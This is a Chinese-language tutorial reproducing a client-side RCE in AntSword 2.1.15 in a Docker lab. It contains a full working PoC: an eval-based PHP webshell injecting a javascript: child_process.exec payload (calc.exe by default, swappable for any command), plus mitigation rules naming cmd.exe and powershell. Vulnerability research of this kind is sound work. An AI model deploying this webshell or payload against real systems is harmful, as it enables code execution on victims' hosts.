AntSword 2.1.15 客户端命令执行漏洞复现分析与环境搭建教程
漏洞概要
-
CVE/漏洞名称
-
漏洞名称:AntSword 中国蚁剑 2.1.15 客户端命令执行漏洞复现
-
CVE:公开资料中通常未分配明确 CVE 编号,本文按 AntSword 2.1.15 客户端 RCE 复现进行描述
-
类型及利用危害等级
-
类型:客户端侧命令执行 / Electron 客户端 RCE
-
触发位置:AntSword 客户端在处理 WebShell 返回内容时,渲染了可触发 JavaScript 的特殊内容,进而调用 Electron/Node.js 能力执行本地主机命令
-
利用结果:攻击者控制的服务端 WebShell 返回恶意内容后,可在运行 AntSword 2.1.15 的主机上执行命令,例如 Windows 主机弹出
calc.exe -
受影响版本
-
AntSword 2.1.15
-

-
复现客户端:主机安装 AntSword 2.1.15
-
靶场环境:Kali Linux,通过 Docker 启动 PHP Web 服务并放置恶意
shell.php
漏洞根因与触发条件
AntSword 2.1.15 基于 Electron,客户端在展示 WebShell 命令执行结果时,对服务端返回的特殊链接/终端渲染内容过滤不足,导致返回内容中的 javascript: 逻辑可在客户端上下文中被触发。触发条件是:AntSword 成功连接攻击者控制的 WebShell,并在命令执行或终端输出区域接收到特制 Payload,随后在客户端侧触发该内容,从而执行主机命令。
复现环境
# ==============================
# 复现拓扑
# ==============================
# Kali Linux:作为靶场服务器,运行 Docker PHP-Apache 容器
# 主机 Windows:安装并运行 AntSword 2.1.15
#
# Kali Docker 服务地址:
# http://KALI_IP:8080/shell.php
#
# AntSword 连接密码:
# test
#
# 预期效果:
# 主机 AntSword 2.1.15 连接该 WebShell 后,触发返回内容,使 Windows 主机执行 calc.exe
# ==============================
# Kali 安装 Docker 与 Compose 插件
# ==============================
sudo apt update
sudo apt install -y docker.io docker-compose-plugin curl
sudo systemctl enable docker --now
sudo docker version
sudo docker compose version
# ==============================
# 创建 AntSword 2.1.15 RCE 复现靶场目录
# ==============================
mkdir-p ~/antsword-2.1.15-rce/www
cd ~/antsword-2.1.15-rce
# ==============================
# 编写 docker-compose.yml
# ==============================
cat > docker-compose.yml <<'EOF'
services:
php-apache:
image: php:7.4-apache
container_name: antsword-215-rce-lab
ports:
-"0.0.0.0:8080:80"
volumes:
- ./www:/var/www/html
restart: unless-stopped
EOF
# ==============================
# 编写用于复现的 shell.php
# ==============================
# 说明:
# 1. AntSword 连接密码为 test
# 2. 正常浏览器 GET 访问会显示提示信息
# 3. AntSword 执行命令时,服务端会向返回结果中插入特制 Payload
# 4. Windows 主机触发后执行 calc.exe
# 5. 如果主机不是 Windows,可将 calc.exe 改为对应系统命令
cat > www/shell.php <<'EOF'
<?php
/**
* AntSword 2.1.15 客户端 RCE 复现用 WebShell
*
* 使用方式:
* AntSword URL: http://KALI_IP:8080/shell.php
* AntSword 密码:test
* 类型:PHP
*/
$pass='test';
/**
* 写入访问日志,方便确认 AntSword 是否真正访问到该文件
*/
file_put_contents(
'/tmp/antsword_215_rce.log',
date('c') .
' METHOD=' . ($_SERVER['REQUEST_METHOD'] ?? '') .
' POST_KEYS=' . json_encode(array_keys($_POST)) .
' UA=' . ($_SERVER['HTTP_USER_AGENT'] ?? '') .
PHP_EOL,
FILE_APPEND
);
/**
* 直接浏览器访问时给出提示,避免误认为 Docker 或 Apache 不通
*/
if (!isset($_POST[$pass])) {
header('Content-Type: text/plain; charset=utf-8');
echo"AntSword 2.1.15 RCE lab is running.\n";
echo"Use AntSword with password: test\n";
echo"POST parameter name: test\n";
exit;
}
$code=$_POST[$pass];
/**
* 兼容部分旧版 PHP WebShell 代码中对 get_magic_quotes_gpc() 的调用
*/
if (!function_exists('get_magic_quotes_gpc')) {
function get_magic_quotes_gpc() {
return 0;
}
}
/**
* 核心 Payload:
* 该内容会被 AntSword 2.1.15 客户端渲染。
*
* Windows 主机默认弹出计算器:
* require(`child_process`).exec(`calc.exe`)
*
* 如果主机是 Linux,可改成:
* require(`child_process`).exec(`gnome-calculator`)
*
* 如果主机是 macOS,可改成:
* require(`child_process`).exec(`open -a Calculator`)
*/
$payload='[[!;;;;javascript:void(require(`child_process`).exec(`calc.exe`))]{http://localhost/phpmyadmin/}]';
/**
* 为了避免引号、换行影响 AntSword 返回格式,这里将 Payload base64 后再输出
*/
$b64payload= base64_encode("\n" . $payload . "\n");
/**
* AntSword 执行命令时通常会在服务端代码中调用 asoutput() 输出结果。
* 这里在 asoutput() 前插入恶意返回内容。
*/
$inject='echo base64_decode("' . $b64payload . '");';
/**
* 仅在 AntSword 执行系统命令相关功能时插入 Payload。
* 这样 AntSword 的基础连接测试更稳定。
*/
if (preg_match('/\b(system|exec|passthru|popen|shell_exec|proc_open)\b/i', $code)) {
$code= str_ireplace('asoutput();', $inject . 'asoutput();', $code);
}
/**
* 执行 AntSword 发送过来的 PHP 代码
*/
@eval($code);
EOF
# ==============================
# 启动 Docker 靶场
# ==============================
cd ~/antsword-2.1.15-rce
sudo docker compose up -d
sudo docker ps--format"table {{.Names}}\t{{.Status}}\t{{.Ports}}"

# ==============================
# Kali 本机验证 Web 服务是否正常
# ==============================
curl-i http://127.0.0.1:8080/shell.php
# ==============================
# 获取 Kali IP
# ==============================
ip -4 addr show | grep-oP'(?<=inet\s)\d+(\.\d+){3}' | grep-v'^127\.'
# ==============================
# 假设 Kali IP 为 192.168.56.101
# 主机 Windows 浏览器访问以下地址,应看到提示文本
# ==============================
# http://192.168.56.101:8080/shell.php

复现步骤
# 1. 在 Kali 上进入靶场目录
cd ~/antsword-2.1.15-rce
# 2. 启动 PHP-Apache Docker 容器
sudo docker compose up -d
# 3. 查看容器端口映射,确认 8080 已映射到容器 80 端口
sudo docker ps--format"table {{.Names}}\t{{.Status}}\t{{.Ports}}"
# 4. Kali 本机访问 shell.php,确认服务正常
curl-i http://127.0.0.1:8080/shell.php
# 5. 获取 Kali 靶机 IP 地址
ip -4 addr show | grep-oP'(?<=inet\s)\d+(\.\d+){3}' | grep-v'^127\.'
# 6. 在 Windows 主机 PowerShell 中测试是否可以访问 Kali Docker 服务
# 将 192.168.56.101 替换为你的 Kali IP
curl.exe-ihttp://192.168.56.101:8080/shell.php
# 7. 在 Windows 主机 PowerShell 中测试 POST 请求是否能到达 shell.php
# 正常情况下这里不一定返回完整 phpinfo,因为 AntSword 请求格式与手工 curl 不完全相同;
# 该步骤主要用于确认主机到 Kali:8080 网络连通。
curl.exe-i-XPOSThttp://192.168.56.101:8080/shell.php-d"test=phpinfo();"
# 8. 在 Kali 上实时查看 WebShell 访问日志
sudo docker exec -it antsword-215-rce-lab bash-c"tail -f /tmp/antsword_215_rce.log"
# 9. 在 Windows 主机打开 AntSword 2.1.15
#
# 添加数据:
# URL 地址:http://192.168.56.101:8080/shell.php
# 连接密码:test
# 编码器:default
# 解码器:default
# 类型:PHP
#
# 然后点击“测试连接”
# 10. AntSword 显示连接成功后,保存该 Shell

# 11. 在 AntSword 中打开刚刚添加的 Shell
#
# 进入方式:
# 右键该 Shell -> 虚拟终端
# 或者打开 Shell 后进入命令执行/终端功能区域
# 12. 在 AntSword 虚拟终端中执行一条普通命令
#
# Windows 目标显示命令示例:
# whoami
#
# Linux 容器内命令示例:
# id


# 13. 命令执行结果返回后,AntSword 2.1.15 输出区域会出现由服务端返回的特殊链接内容
#
# 触发该内容后,Windows 主机应执行:
# calc.exe
#
# 如果弹出 Windows 计算器,说明 AntSword 2.1.15 客户端命令执行漏洞复现成功。

# 14. 如果需要重新查看 AntSword 请求是否到达 Kali 容器,可查看日志
sudo docker exec -it antsword-215-rce-lab bash-c"cat /tmp/antsword_215_rce.log"
# 15. 复现完成后关闭靶场
cd ~/antsword-2.1.15-rce
sudo docker compose down
POC/利用代码
[[!;;;;javascript:void(require(`child_process`).exec(`calc.exe`))]{http://localhost/phpmyadmin/}]
<?php
/**
* AntSword 2.1.15 客户端 RCE 复现 POC
*
* 部署位置:
* /var/www/html/shell.php
*
* AntSword 配置:
* URL:http://KALI_IP:8080/shell.php
* 密码:test
* 类型:PHP
*
* 默认 Payload:
* Windows 主机执行 calc.exe
*/
$pass='test';
file_put_contents(
'/tmp/antsword_215_rce.log',
date('c') .
' METHOD=' . ($_SERVER['REQUEST_METHOD'] ??'') .
' POST_KEYS=' . json_encode(array_keys($_POST)) .
' UA=' . ($_SERVER['HTTP_USER_AGENT'] ??'') .
PHP_EOL,
FILE_APPEND
);
if (!isset($_POST[$pass])) {
header('Content-Type: text/plain; charset=utf-8');
echo"AntSword 2.1.15 RCE lab is running.\n";
echo"Use AntSword with password: test\n";
exit;
}
$code=$_POST[$pass];
if (!function_exists('get_magic_quotes_gpc')) {
functionget_magic_quotes_gpc() {
return0;
}
}
/**
* 关键 Payload:
* 修改 calc.exe 可更换为其他本机命令。
*/
$payload='[[!;;;;javascript:void(require(`child_process`).exec(`calc.exe`))]{http://localhost/phpmyadmin/}]';
$b64payload=base64_encode("\n" . $payload . "\n");
$inject='echo base64_decode("' . $b64payload . '");';
/**
* AntSword 执行系统命令时插入 Payload。
*/
if (preg_match('/\b(system|exec|passthru|popen|shell_exec|proc_open)\b/i', $code)) {
$code=str_ireplace('asoutput();', $inject . 'asoutput();', $code);
}
@eval($code);
services:
php-apache:
image: php:7.4-apache
container_name: antsword-215-rce-lab
ports:
- "0.0.0.0:8080:80"
volumes:
- ./www:/var/www/html
restart: unless-stopped
修复与临时缓解
1. 不要使用 AntSword 2.1.15 版本,升级到已修复该问题的新版本。
2. 不要连接来源不明、他人提供或不可信的 WebShell。
3. 在隔离环境中运行 AntSword,例如虚拟机、沙箱或无敏感文件的专用测试主机。
4. Windows 主机上运行 AntSword 时,不要使用管理员权限启动。
5. 在主机安全软件或 EDR 中限制 AntSword/Electron 进程启动系统命令解释器,例如限制其调用 cmd.exe、powershell.exe、wscript.exe、mshta.exe。
6. 如果必须临时使用 AntSword 2.1.15,禁止连接任何不完全可信的 WebShell,并在断网、快照环境中完成测试。
7. 复现结束后删除 Kali 靶场容器和 WebShell 文件。
cd ~/antsword-2.1.15-rce
sudo docker compose down
cd ~
rm-rf ~/antsword-2.1.15-rce
参考来源
[1] GitHub Issue:[Security] noxss() 过滤不完整导致 jquery.terminal 格式码注入,可被服务端利用实现客户端代码执行
[2] 澄影安全:蚁剑 v2.1.15 曝致命漏洞!存在远程代码执行漏洞,点击即中招!
[3] CSDN:中国蚁剑 AntSword 反制 RCE 漏洞复现 Windows 环境上反弹 shell
[4] AntSwordProject/antSword GitHub 项目说明
[5] GitHub Advisory Database:CVE-2019-13970,AntSword RCE and XSS via code injection
免责声明
本文内容仅用于网络安全学习、漏洞复现研究和授权测试环境验证。请勿将文中技术、代码或方法用于任何未授权的系统、网络或设备。因使用本文内容造成的任何直接或间接后果,均由使用者自行承担。作者不对任何滥用行为及其后果承担责任。
夜雨聆风